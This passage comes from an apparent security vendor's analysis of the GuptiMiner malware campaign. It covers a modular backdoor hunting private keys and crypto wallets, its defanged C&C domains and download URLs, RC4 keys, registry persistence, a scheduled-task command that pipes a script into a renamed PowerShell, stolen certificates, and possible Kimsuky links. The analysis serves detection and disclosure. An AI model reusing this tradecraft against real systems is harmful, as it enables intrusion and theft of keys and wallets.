Here we provide an example how the SMB packets look like in Wireshark when sent by the malware. After the connection is established, the malware tries to login as anonymous and makes requests for <code>\IPC$</code> and a named pipe.

Interested reader can find the captured PCAP on our <a href="https://github.com/avast/ioc/blob/master/GuptiMiner/extras/PCAP/smb_backdoor_networking.pcap">GitHub</a>.<h3 id="modular-backdoor">Modular Backdoor&nbsp;</h3><code>f0ccfcb5d49d08e9e66b67bb3fedc476fdf5476a432306e78ddaaba4f8e3bbc4</code> <code>(2023-10-10 15:08:36 UTC)&nbsp;</code>Another backdoor that we’ve found during our research being distributed by Puppeteer is a modular backdoor which targets huge corporate networks. It consists of two phases – the malware scans the devices for the existence of locally stored private keys and cryptocurrency wallets, and the second part is an injected modular backdoor, in the form of a shellcode.&nbsp;<h4>Checks on Private Keys, Wallets, and Corporate Network</h4>This part of the backdoor focuses on scanning for private keys and wallet files on the system. This is done by searching for <code>.pvk</code> and <code>.wallet</code> files in these locations:&nbsp;<ul><li><code>C:\Users\* </code></li><li><code>D:\* </code></li><li><code>E:\* </code></li><li><code>F:\* </code></li><li><code>G:\*&nbsp;</code></li></ul>If there is such a file found in the system, its path is logged in a newly created file <code>C:\Users\Public\Ca.txt</code>. Interestingly, this file is not processed on its own by the code we have available. We suppose the data will be stolen later when further modules are downloaded by the backdoor.&nbsp;The fact that the scan was performed is marked by creating a registry key: <code>HKEY_LOCAL_MACHINE\SYSTEM\Software\Microsoft\DECLAG&nbsp;</code>If some private keys or wallets were found on the system or the malware is running in a huge corporate environment, the malware proceeds with injecting the backdoor, in a form of a shellcode, into the <code>mmc.exe</code> process.&nbsp;The size of the corporate environment is guessed by the same approach as Puppeteer’s <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#backdoor-setup">backdoor setup</a> with the difference in the scale. Here, the malware compares the returned list of computers in the domain with 200,000 characters. To recapitulate, the data printed by the <code>net group</code> command uses 25 characters per domain joined computer plus a newline (<code>CR+LF</code>) per every three computers.&nbsp;

This effectively means that the network in which the malware operates must have at least 7781 computers joined in the domain, which is quite a large number.<h4>Backdoor</h4><code>8446d4fc1310b31238f9a610cd25ea832925a25e758b9a41eea66f998163bb34&nbsp;</code>This shellcode is a completely different piece of code than what we’ve seen so far across GuptiMiner campaign. It is designed to be multi-modular with the capability of adding more modules into the execution flow. Only a networking communication module, however, is hardcoded and available by default, and its hash is <code>74d7f1af69fb706e87ff0116b8e4fa3a9b87275505e2ee7a32a8628a2d066549 (2022-12-19 07:31:39 UTC)</code>.&nbsp;After the injection, the backdoor decrypts a hardcoded configuration and a hardcoded networking module using RC4. The RC4 key is also hardcoded and available directly in the shellcode.&nbsp;The configuration contains details about which server to contact, what ports to use, the length of&nbsp;delays that should be set between commands/requests, among others. The domain for communication in this configuration is <code>www.righttrak[.]net:443</code> and an IP address <code>185.248.160[.]141</code>.

The network module contains seven different commands that the attacker can use for instructing the backdoor about what to do. A complete list of commands accepted by the network module can be found in the table below. Note that each module that can be used by the backdoor contains such a command handler on its own.&nbsp;

The modules are stored in an encrypted form in the registry, ensuring their persistence: <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCB</code>The backdoor also uses an import by hash obfuscation for resolving API functions. The hashing function is a simple algorithm that takes each byte of the exported function name, adds 1 to it, and then multiplies the previously calculated number (<code>calculated_hash</code>, starts with 0) by 131 and adds it to the byte:The server <code>www.righttrak[.]net:443</code> had, at the time, a valid certificate. Note for example the not-at-all-suspicious email address the authors used.&nbsp;

<h4 id="other-infection-vectors-modular-backdoor">Other Infection Vectors of Modular Backdoor</h4><code>af9f1331ac671d241bf62240aa52389059b4071a0635cb9cb58fa78ab942a33b</code>During our research, we have also found a 7zip SFX executable containing two files:&nbsp;<ul><li><code>ms00.dat</code> </li><li><code>notepad.exe</code>&nbsp;</li></ul><code>notepad.exe</code> is a small binary that decrypts <code>ms00.dat</code> file using RC4 with a key <code>V#@!1vw32</code>. The decrypted <code>ms00.dat</code> file is the same Modular Backdoor malware as described above.&nbsp;However, we have not seen this SFX executable being distributed by GuptiMiner. This indicates that this backdoor might be distributed by different infection vectors as well.&nbsp;<h2>Related and Future Research</h2>We’ve also observed other more or less related samples during our research.&nbsp;<h3>PowerShell Scripts</h3>Interestingly, we’ve found the C&amp;C domain from the backdoor setup phase (in Puppeteer) in additional scripts as well which were not distributed by traditional GuptiMiner operation as we know it. We think this might be a different kind of attack sharing the GuptiMiner infrastructure, though it might be a different campaign. Formatted PowerShell script can be found below:&nbsp;

In this case, the payload is downloaded and executed from the malicious domain only when an antivirus is installed, and its name has more than 4 letters and starts with <code>eS</code>. One does not have to be a scrabble champion to figure out that the malware authors are targeting the eScan AV once again. The malicious code is also run when the name of the installed AV has less than 5 letters.&nbsp;We’ve found this script being run via a scheduled task with a used command: <code>"cmd.exe" /c type "\&lt;domain&gt;\SYSVOL\&lt;domain&gt;\scripts\gpon.inc" | "\&lt;domain&gt;\SYSVOL\&lt;domain&gt;\scripts\powAMD64.dat" -nop -&nbsp;</code> where <code>powAMD64.dat</code> is a copy of <code>powershell.exe</code>. The task name and location was <code>C:\Windows\System32\Tasks\ScheduledDefrag&nbsp;</code><h3>Usage of Stolen Certificates&nbsp;</h3>We have found two stolen certificates used for signing GuptiMiner payloads. Interestingly, one of the used stolen certificates originates in Winnti operations. In this particular sample, the digital signature has a hash:&nbsp; <code>529763AC53562BE3C1BB2C42BCAB51E3AD8F8A56</code>&nbsp;This certificate is the same as mentioned by <a href="https://securelist.com/winnti-more-than-just-a-game/37029/">Kaspersky</a> more than 10 years ago. However, we’ve also seen this certificate to be used in multiple malware samples than just GuptiMiner, though, indicating a broader leak.&nbsp;A complete list of stolen certificates and their usage can be found in the table below:&nbsp;

<h3>Possible Ties to Kimsuky&nbsp;</h3><code>7f1221c613b9de2da62da613b8b7c9afde2ea026fe6b88198a65c9485ded7b3d</code> <code>(2021-03-06 20:13:32 UTC)&nbsp;</code>During our research, we’ve also found an information stealer which holds a rather similar PDB path as was used across the whole GuptiMiner campaign (<code>MainWork</code>): <code>F:\!PROTECT\Real\startW-2008\MainWork\Release\MainWork.pdb</code>&nbsp;However, we haven’t seen it distributed by GuptiMiner and, according to our data, it doesn’t belong to the same operation and infection chain. This malware performs stealing activities like capturing every keystroke, harvesting HTML forms from opened browser tabs, noting times of opened programs, etc., and stores them in log files.&nbsp;What is truly interesting, however, is that this information stealer might come from Kimsuky operations. Also known as Black Banshee, among other aliases, Kimsuky is a North Korean state-backed APT group.&nbsp;It contains the similar approach of searching for AhnLab real-time detection window class name <code>49B46336-BA4D-4905-9824-D282F05F6576</code> as mentioned by both <a href="https://asec.ahnlab.com/en/31089/">AhnLab</a> as well as <a href="https://blog.talosintelligence.com/kimsuky-abuses-blogs-delivers-malware/">Cisco Talos Intelligence</a> in their Information-gathering module section. If such a window is found, it will be terminated/hidden from the view of the infected user.&nbsp;

Furthermore, the stealer contains an encrypted payload in resources, having a hash: <code>d5bc6cf988c6d3c60e71195d8a5c2f7525f633bb54059688ad8cfa1d4b72aa6c (2021-02-19 19.02.2021 15:00:47 UTC)</code> and it has this PDB path: <code>F:\PROTECT\Real\startW-2008\HTTPPro\Release\HTTPPro.pdb</code>&nbsp;This module is decrypted using the standard RC4 algorithm with the key <code>messi.com</code>. The module is used for downloading additional stages. One of the used URLs are: <code>http://stwu.mygamesonline[.]org/home/sel.php</code> <code>http://stwu.mygamesonline[.]org/home/buy.php?filename=%s&amp;key=%s</code>&nbsp;The domain <code>mygamesonline[.]org</code> is commonly used by Kimsuky (with variety of subdomains).&nbsp;The keylogger also downloads next stage called <code>ms12.acm</code>:&nbsp;

With this, we see a possible pattern with the naming convention and a link to Modular Backdoor. As described in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#other-infection-vectors-modular-backdoor">Other Infection Vectors</a> section, the 7z SFX archive contains an encrypted file called <code>ms00.dat</code> with which we struggle to ignore the resemblance.Last but not least, another strong indicator for a possible attribution is the fact that the Kimsuky keylogger sample <code>dddc57299857e6ecb2b80cbab2ae6f1978e89c4bfe664c7607129b0fc8db8b1f</code>, which is mentioned in the same blogpost from Talos, contains a section called <code>.vlizer</code>, as seen below:&nbsp;

During the GuptiMiner installation process (<a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#installation-process">Stage 0</a>), we wrote about the threat actors introducing <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#code-virtualization">Code Virtualization</a> in 2018. This was done by using a dedicated section called <code>.v_lizer</code>.&nbsp;<h2>Conclusion&nbsp;</h2>In this analysis, we described our findings regarding a long-standing threat we called GuptiMiner, in detail. This sophisticated operation has been performing MitM attacks targeting an update mechanism of the eScan antivirus vendor. We disclosed the security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved.&nbsp;During the GuptiMiner operation, the attackers were deploying a wide chain of stages and functionalities, including performing DNS requests to the attacker’s DNS servers, sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others.&nbsp;Two different types of backdoors were discovered, targeting large corporate networks. The first provided SMB scanning of the local network, enabling lateral movement over the network to potentially exploit vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands on background to install more modules as well as focusing on stealing stored private keys and cryptowallets.&nbsp;Interestingly, the final payload distributed by GuptiMiner was also XMRig which is a bit unexpected for such a thought-through operation.&nbsp;We have also found possible ties to Kimsuky, a notorious North Korean APT group, while observing similarities between Kimsuky keylogger and fragments discovered during the analysis of the GuptiMiner operation.&nbsp;<h2>eScan follow-up</h2>We have shared our findings and our research with eScan prior to publishing this analysis. For the sake of completeness, we are including their statement on this topic:“I would also like to highlight some key points: 1. Our records indicate that the last similar report was received towards the end of the year 2019. 2. Since 2020, we have implemented a stringent checking mechanism that utilizes EV Signing to ensure that non-signed binaries are rejected. 3. Multiple heuristic rules have been integrated into our solution to detect and block any instances of legitimate processes being used for mining, including the forking of unsigned binaries. 4. While our internal investigations did not uncover instances of the XRig miner, it is possible that this may be due to geo-location factors. 5. Our latest solution versions employ secure (https) downloads, ensuring encrypted communication when clients interact with our cloud-facing servers for update downloads.”According to our telemetry, we continue to observe new infections and GuptiMiner builds within our userbase. This may be attributable to eScan clients on these devices not being updated properly.<h2 id="ioc">Indicators of Compromise (IoCs)</h2>In this section, we would like to summarize the Indicators of Compromise mentioned in this analysis. As they are indicators, it doesn’t automatically mean the mentioned files and/or domains are malicious on their own.&nbsp;For more detailed list of IoCs of the whole GuptiMiner campaign, please visit our <a href="https://github.com/avast/ioc/tree/master/GuptiMiner">GitHub</a>.<h3>Evolution and Timelines&nbsp;</h3><h4>Domains</h4>

<h4>PDB paths&nbsp;</h4>

Jan Rubín

Posts by Jan Rubín